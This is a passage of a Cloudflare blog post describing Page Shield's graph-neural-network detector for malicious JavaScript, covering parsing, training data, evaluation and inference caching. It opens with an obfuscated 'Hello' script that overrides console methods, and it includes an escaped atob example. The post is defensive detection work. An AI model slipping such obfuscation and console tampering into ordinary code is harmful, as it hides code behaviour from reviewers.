var h=Q;(function(V,A){var J=Q,p=V();while(!![]){try{var b=-parseInt(J('0x79'))/0x1*(-parseInt(J('0x6e'))/0x2)+-parseInt(J('0x80'))/0x3+parseInt(J('0x76'))/0x4*(-parseInt(J('0x72'))/0x5)+parseInt(J('0x6a'))/0x6+parseInt(J('0x84'))/0x7+-parseInt(J('0x6d'))/0x8*(-parseInt(J('0x7d'))/0x9)+parseInt(J('0x73'))/0xa*(-parseInt(J('0x7c'))/0xb);if(b===A)break;else p['push'](p['shift']());}catch(U){p['push'](p['shift']());}}}(S,0x22097));function sayHi(p){var Y=Q,b=(function(){var W=!![];return function(e,x){var B=W?function(){var m=Q;if(x){var G=x[m('0x71')](e,arguments);return x=null,G;}}:function(){};return W=![],B;};}()),U=b(this,function(){var s=Q,W=typeof window!==s('0x6b')?window:typeof process===s('0x6c')&amp;&amp;typeof require===s('0x7b')&amp;&amp;typeof global==='object'?global:this,e=W['console']=W['console']||{},x=[s('0x78'),s('0x70'),'info',s('0x69'),s('0x77'),'table',s('0x7f')];for(var B=0x0;B&lt;x[s('0x83')];B++){var G=b[s('0x75')][s('0x6f')][s('0x74')](b),t=x[B],X=e[t]||G;G['__proto__']=b[s('0x74')](b),G['toString']=X[s('0x7e')]['bind'](X),e[t]=G;}});U(),console['log'](Y('0x81')+(p??Y('0x7a'))+'!');}sayHi(h('0x82'));function Q(V,A){var p=S();return Q=function(b,U){b=b-0x69;var W=p[b];return W;},Q(V,A);}function S(){var v=['Internet','length','77966Hcxgji','error','1078032RtaGFM','undefined','object','8zrzBEk','244xEPFaR','prototype','warn','apply','10LQgYRU','400TNVOzq','bind','constructor','146612cfnkCX','exception','log','1513TBJIGL','World','function','57541MkoqrR','2362383dtBFrf','toString','trace','647766YvOJOm','Hello\x20'];S=function(){return v;};return S();}</code></pre>
            <p>With such a variance of styles (and many more), our machine learning solution needs to balance precision (low false positive rate), recall (don’t miss an attack vector), and speed. Here’s how we do it:</p>
    <div>
      <h4>Using syntax trees to classify malicious code</h4>
      <a href="#using-syntax-trees-to-classify-malicious-code">
        
      </a>
    </div>
    <p>JavaScript files are parsed into <a href="https://en.wikipedia.org/wiki/Tree_(graph_theory)"><u>syntax trees (connected acyclic graphs)</u></a>. These serve as the input to a <a href="https://en.wikipedia.org/wiki/Graph_neural_network"><u>Graph Neural Network (GNN)</u></a>. GNNs are used because they effectively capture the interdependencies (relationships between nodes) in executing code, such as a function calling another function. This contrasts with treating the code as merely a sequence of words — something a code compiler, incidentally, does not do. Another motivation to use GNNs is the <a href="https://dl.acm.org/doi/10.1007/978-3-030-92270-2_57"><u>insight</u></a> that the syntax trees of malicious versus benign JavaScript tend to be different. For example, it’s not rare to find attacks that consist of malicious snippets inserted into, but otherwise isolated from, the rest of a benign base code.</p><p>To parse the files, the <a href="https://tree-sitter.github.io/"><u>tree-sitter library</u></a> was chosen for its speed. One peculiarity of this parser, specialized for text editors, is that it parses out <a href="https://en.wikipedia.org/wiki/Parse_tree"><u>concrete syntax trees (CST)</u></a>. CSTs retain everything from the original text input, including spacing information, comments, and even nodes attempting to repair syntax errors. This differs from <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree"><u>abstract syntax trees (AST)</u></a>, the data structures used in compilers, which have just the essential information to execute the underlying code while ignoring the rest. One key reason for wanting to convert the CST to an AST-like structure, is that it reduces the tree size, which in turn reduces computation and memory usage. To do that, we abstract and filter out unnecessary nodes such as code comments. Consider for instance, how the following snippet</p>
            <pre><code>x = `result: ${(10+5) *   3}`;;; //this is a comment</code></pre>
            <p>… gets converted to an AST-like representation:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4KweWZ4yIzOTiIcYqHC682/56c059b38ad46949e7285d84438be4c9/2.png" />
          </figure><p><sup><i>Abstract Syntax Tree (AST) representation of the sample code above. Unnecessary elements get removed (e.g. comments, spacing) whereas others get encoded in the tree structure (order of operations due to parentheses).</i></sup></p><p>One benefit of working with parsed syntax trees is that <a href="https://huggingface.co/learn/nlp-course/en/chapter2/4"><u>tokenization</u></a> comes for free! We collect and treat the node leaves’ text as our tokens, which will be used as features (inputs) for the machine learning model. Note that multiple characters in the original input, for instance backticks to form a template string, are not treated as tokens per se, but remain encoded in the graph structure given to the GNN. (Notice in the sample tree representations the different node types, such as “assignment_expression”). Moreover, some details in the exact text input become irrelevant in the executing AST, such as whether a string was originally written using double quotes vs. single quotes.</p><p>We encode the node tokens and node types into a matrix of counts. Currently, we lowercase the nodes' text to reduce vocabulary size, improving efficiency and reducing sparsity. Note that JavaScript is a case-sensitive language, so this is a trade-off we continue to explore. This matrix and, importantly, the information about the node edges within the tree, is the input to the GNN.</p><p>How do we deal with obfuscated code? We don’t treat it specially. Rather, we always parse the JavaScript text as is, which incidentally unescapes <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Character_escape"><u>escape characters</u></a> too. For instance, the resulting AST shown below for the following input exemplifies that:</p>
            <pre><code>atob('\x55\x32\x56\x75\x5a\x45\x52\x68\x64\x47\x45\x3d') == "SendData"</code></pre>
            
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/sV2qPtj8G30EFnW6rwCav/ef0a970e338e5610da08fa3ccbdeafcc/3.png" />
          </figure><p><sup><i>Abstract Syntax Tree (AST) representation of the sample code above. JavaScript escape characters are unescaped.</i></sup></p><p>Moreover, our vocabulary contains several tokens that are commonly used in obfuscated code, such as double escaped hexadecimal-encoded characters. That, together with the graph structure information, is giving us satisfying results — the model successfully classifies malicious code whether it's obfuscated or not. Analogously, our model’s scores remain stable when applied to plain benign scripts compared to obfuscating them in different ways. In other words, the model’s score on a script is similar to the score on an obfuscated version of the same script. Having said that, some of our model's false positives (FPs) originate from benign but obfuscated code, so we continue to investigate how we can improve our model's intelligence.</p>
    <div>
      <h4>Architecting the Graph Neural Network</h4>
      <a href="#architecting-the-graph-neural-network">
        
      </a>
    </div>
    <p>We train a <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> that processes the input trees. The message-passing layers iteratively update each node’s internal representation, encoded in a matrix, by aggregating information from its neighbors (parent and child nodes in the tree). A pooling layer then condenses this matrix into a feature vector, discarding the explicit graph structure (edge connections between nodes). At this point, standard neural network layers, such as fully connected layers, can be applied to progressively refine the representation. Finally, a <a href="https://en.wikipedia.org/wiki/Softmax_function"><u>softmax activation</u></a> layer produces a probability distribution over the four possible classes: benign, magecart, cryptomining, and malware.</p><p>We use the <a href="https://github.com/tensorflow/gnn"><u>TF-GNN library</u></a> to implement graph neural networks, with <a href="https://keras.io/"><u>Keras</u></a> serving as the high-level frontend for model building and training. This works well for us with one exception: <a href="https://github.com/tensorflow/gnn/issues/803#issue-2279602052"><u>TF-GNN does not support sparse matrices / tensors</u></a>. (That lack of support increases memory consumption, which also adds some latency.) Because of this, we are considering switching to <a href="https://pytorch-geometric.readthedocs.io/"><u>PyTorch Geometric</u></a> instead.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/79SbvJgWq3mwMks6Vtxpgs/5ab55f19b6cf90dc070b5f0d70abdde9/4.png" />
          </figure><p><sup><i>Graph neural network architecture, transforming the input tree with features down to the 4 classification probabilities.</i></sup></p><p>The model’s output probabilities are finally inverted and scaled into <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection"><u>scores</u></a> (ranging from 1 to 99). The “js_integrity” score aggregates the malicious classes (magecart, malware, cryptomining). A low score means likely malicious, and a high score means likely benign. We use this output format for consistency with other Cloudflare detection systems, such as <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection"><u>Bot Management</u></a> and the <a href="https://developers.cloudflare.com/waf/detections/attack-score/"><u>WAF Attack Score</u></a>. The following diagram illustrates the preprocessing and feature analysis pipeline of the model down to the inference results.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/zLPW9kydBIJySfjaN2TTI/d7b9a7f51c1bb501aac2b7a724d62a1d/5.png" />
          </figure><p><sup><i>Model inference pipeline to sniff out and alert on malicious JavaScript.</i></sup></p>
    <div>
      <h4>Tackling unbalanced data: malicious scripts are the minority</h4>
      <a href="#tackling-unbalanced-data-malicious-scripts-are-the-minority">
        
      </a>
    </div>
    <p>Finding malicious scripts is like finding a needle in a haystack; they are anomalies among plenty of otherwise benign JavaScript. This naturally results in a highly imbalanced dataset. For example, our Magecart-labeled scripts only account for ~6% of the total dataset.</p><p>Not only that, but the “benign” category contains an immense variance (and amount) of JavaScript to classify. The lengths of the scripts are highly diverse (ranging from just a few bytes to several megabytes), their coding styles vary widely, some are obfuscated whereas others are not, etc. To make matters worse, malicious payloads are often just small, carefully inserted fragments within an otherwise perfectly valid and functional benign script. This all creates a cacophony of token distributions for an ML model to make sense of.</p><p>Still, our biggest problem remains finding enough malevolent JavaScript to add to our training dataset. Thus, simplifying it, our strategy for data collection and annotation is two-fold:</p><ol><li><p>Malicious scripts are about quantity → the more, the merrier (for our model, that is 😉). Of course, we still care about quality and diversity. But because we have so few of them (in comparison to the number of benign scripts), we take what we can.</p></li><li><p>Benign scripts are about quality → the more <i>variance</i>, the merrier. Here we have the opposite situation. Because we can collect so many of them easily, the value is in adding differentiated scripts.</p></li></ol>
    <div>
      <h5>Learning key scripts only: reduce false positives with minimal annotation time</h5>
      <a href="#learning-key-scripts-only-reduce-false-positives-with-minimal-annotation-time">
        
      </a>
    </div>
    <p>To filter out semantically-similar scripts (mostly benign), we employed the latest advancements in LLM for generating code <a href="https://www.cloudflare.com/learning/ai/what-are-embeddings/"><u>embeddings</u></a>. We added those scripts that are distant enough from each other to our dataset, as measured by <a href="https://developers.cloudflare.com/vectorize/best-practices/create-indexes/#distance-metrics"><u>vector cosine similarity</u></a>. Our methodology is simple — for a batch of potentially new scripts:</p><ul><li><p>Initialize an empty <a href="https://www.cloudflare.com/learning/ai/what-is-vector-database/"><u>vector database</u></a>. For local experimentation, we are fans of <a href="https://docs.trychroma.com/docs/overview/introduction"><u>Chroma DB</u></a>.</p></li><li><p>For each script:</p><ul><li><p>Call an LLM to generate its embedding. We’ve had good results with <a href="https://github.com/bigcode-project/starcoder2"><u>starcoder2</u></a>, and most recently <a href="https://huggingface.co/Qwen/Qwen2.5-Coder-32B"><u>qwen2.5-coder</u></a>.</p></li><li><p>Search in the database for the top-1 closest other script’s vectors.</p></li><li><p>If the distance &gt; threshold (0.10), select it and add it to the database.</p></li><li><p>Else, discard the script (though we consider it for further validations and tests).</p></li></ul></li></ul><p>Although this methodology has an inherent bias in gradually favoring the first seen scripts, in practice we’ve used it for batches of newly and randomly sampled JavaScript only. To review the whole existing dataset, we could employ other but similar strategies, like applying <a href="https://scikit-learn.org/stable/modules/generated/sklearn.cluster.HDBSCAN.html"><u>HDBSCAN</u></a> to identify an unknown number of clusters and then selecting the medoids, boundary, and anomaly data points.</p><p>We’ve successfully employed this strategy for pinpointing a few highly varied scripts that were relevant for the model to learn from. Our security researchers save a tremendous amount of time on manual annotation, while false positives are drastically reduced. For instance, in a large and unlabeled bucket of scripts, one of our early evaluation models identified ~3,000 of them as malicious. That’s too many to manually review! By removing near duplicates, we narrowed the need for annotation down to only 196 samples, less than 7% of the original amount (see the <a href="https://en.wikipedia.org/wiki/T-distributed_stochastic_neighbor_embedding"><u>t-SNE</u></a> visualization below of selected points and clusters). Three of those scripts were actually malicious, one we could not fully determine, and the rest were benign. By just re-training with these new labeled scripts, a tiny fraction of our whole dataset, we reduced false positives by 50% (as gauged in the same bucket and in a controlled test set). We have consistently repeated this procedure to iteratively enhance successive model versions.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/hHw00ojXE4CdorMQI5b56/897e0e045230522478e0735c3e28ff12/6.png" />
          </figure><p><sup><i>2D visualization of scripts projected onto an embedding space, highlighting those sufficiently dissimilar from one another.</i></sup></p>
    <div>
      <h4>From the lab, to the real world</h4>
      <a href="#from-the-lab-to-the-real-world">
        
      </a>
    </div>
    <p>Our latest model in evaluation has both a macro accuracy and an overall malicious precision nearing 99%(!) on our test dataset. So we are done, right? Wrong! The real world is not the same as the lab, where many more variances of benign JavaScript can be seen. To further assure minimum prediction changes between model releases, we follow these three anti-fool measures:</p>
    <div>
      <h5>Evaluate metrics uncertainty</h5>
      <a href="#evaluate-metrics-uncertainty">
        
      </a>
    </div>
    <p>First, we thoroughly estimate the <i>uncertainty</i> of our offline evaluation metrics. How accurate are our accuracy metrics themselves? To gauge that, we calculate the <a href="https://en.wikipedia.org/wiki/Standard_error"><u>standard error</u></a> and confidence intervals for our offline metrics (precision, recall, <a href="https://en.wikipedia.org/wiki/F-score"><u>F1 measure</u></a>). To do that, we calculate the model’s predicted scores on the test set once (the original sample), and then generate bootstrapped resamples from it. We use simple random (re-)sampling as it offers us a more conservative estimate of error than stratified or balanced sampling.</p><p>We would generate 1,000 resamples, each a fraction of 15% resampled from the original test sample, then calculate the metrics for each individual resample. This results in a distribution of sampled data points. We measure its mean, the standard deviation (with <a href="https://en.wikipedia.org/wiki/Standard_deviation#Corrected_sample_standard_deviation"><u>Bessel’s correction</u></a>), and finally the standard error and a <a href="https://en.wikipedia.org/wiki/Confidence_interval"><u>confidence interval</u></a> (CI) (using the percentile method, such as the 2.5 and 97.5 percentiles for a 95% CI). See below for an example of a bootstrapped distribution for precision (P), illustrating that a model’s performance is a continuum rather than a fixed value, and that might exhibit subtly (left-)skewed tails. For some of our internally evaluated models, it can easily happen that some of the sub-sampled metrics decrease by up to 20 percentage points within a 95% confidence range. High standard errors and/or confidence ranges signal needs for model improvement and for improving and increasing our test set.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2x3X2oVv2EfIkLYFrcjLWK/985a685e565f759b7781821595ac4ff7/7.png" />
          </figure><p><sup><i>An evaluation metric, here precision (P), might change significantly depending on what’s exactly tested. We thoroughly estimate the metric’s standard error and confidence intervals.</i></sup></p>
    <div>
      <h5>Benchmark against massive offline unlabeled dataset</h5>
      <a href="#benchmark-against-massive-offline-unlabeled-dataset">
        
      </a>
    </div>
    <p>We run our model on the entire corpus of scripts seen by Cloudflare's network and temporarily cached in the last 90 days. By the way, that’s nearly 1 TiB and 26 million different JavaScript files! With that, we can observe the model’s behavior against real traffic, yet completely offline (to ensure no impact to production). We check the malicious prediction rate, latency, throughput, etc. and sample some of the predictions for verification and annotation.</p>
    <div>
      <h5>Review in staging and shadow mode</h5>
      <a href="#review-in-staging-and-shadow-mode">
        
      </a>
    </div>
    <p>Only after all the previous checks were cleared, we then run this new tentative version in our staging environment. For major model upgrades, we also deploy them in <a href="https://cloud.google.com/architecture/guidelines-for-developing-high-quality-ml-solutions"><u>shadow mode</u></a> (log-only mode) — running on production, alongside our existing model. We study the model’s behavior for a while before finally marking it as production ready, otherwise we go back to the drawing board.</p>
    <div>
      <h3>AI inference at scale</h3>
      <a href="#ai-inference-at-scale">
        
      </a>
    </div>
    <p>At the time of writing, Page Shield sees an average of <i>40,000 scripts per second</i>. Many of those scripts are repeated, though. Everything on the Internet follows a <a href="https://blog.cloudflare.com/making-waf-ai-models-go-brr/#caching-inference-result"><u>Zipf's law distribution</u></a>, and JavaScript seen on the Cloudflare network is no exception. For instance, it is estimated that different versions of the <a href="https://blog.cloudflare.com/page-shield-positive-blocking-policies/#client-side-libraries"><u>Bootstrap library run on more than 20% of websites</u></a>. It would be a waste of computing resources if we repeatedly re-ran the AI model for the very same inputs — inference result caching is needed. Not to mention, GPU utilization is expensive!</p><p>The question is, what is the best way to cache the scripts? We could take an <a href="https://csrc.nist.gov/glossary/term/sha_256"><u>SHA-256</u></a> hash of the plain content as is. However, any single change in the transmitted content (comments, spacing, or a different character set) changes the SHA-256 output hash.</p><p>A better caching approach? Since we need to parse the code into syntax trees for our GNN model anyway, this tree structure and content is what we use to hash the JavaScript. As described above, we filter out nodes in the syntax tree like comments or empty statements. In addition, some irrelevant details get abstracted out in the AST (escape sequences are unescaped, the way of writing strings is normalized, unnecessary parentheses are removed for the operations order is encoded in the tree, etc.).</p><p>Using such a tree-based approach to caching, we can conclude that at any moment over 99.9% of reported scripts have already been seen in our network! Unless we deploy a new model with significant improvements, we don’t re-score previously seen JavaScript but just return the cached score. As a result, the model only needs to be called <i>fewer than 10 times per minute</i>, even during peak times!</p>
    <div>
      <h3>Let AI help ease PCI DSS v4 compliance</h3>
      <a href="#let-ai-help-ease-pci-dss-v4-compliance">
        
      </a>
    </div>
    <p>One of the most popular use cases for deploying Page Shield is to help meet the two new client-side security requirements in PCI DSS v4 — <a href="https://assets.ctfassets.net/slt3lc6tev37/4HJex2kG7FCb1IJRC9rIhL/081fdd8b1a471def14cfd415f99e4b58/Evaluation_Page_Shield_091124_FINAL.pdf"><u>6.4.3 and 11.6.1</u></a>. These requirements make companies responsible for approving scripts used in payment pages, where payment card data could be compromised by malicious JavaScript. Both of these requirements <a href="https://blog.pcisecuritystandards.org/countdown-to-pci-dss-v4.0"><u>become effective</u></a> on March 31, 2025.</p><p>Page Shield with AI malicious JavaScript detection can be deployed with just a few clicks, especially if your website is already proxied through Cloudflare. <a href="https://www.cloudflare.com/page-shield/"><u>Sign up here</u></a> to fast track your onboarding!</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Malicious JavaScript]]></category>
            <category><![CDATA[JavaScript]]></category>
            <guid isPermaLink="false">3VQUOQBWzT8cc7oFFv003i</guid>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
            <dc:creator>Zhiyuan Zheng</dc:creator>
        </item>
    </channel>
</rss>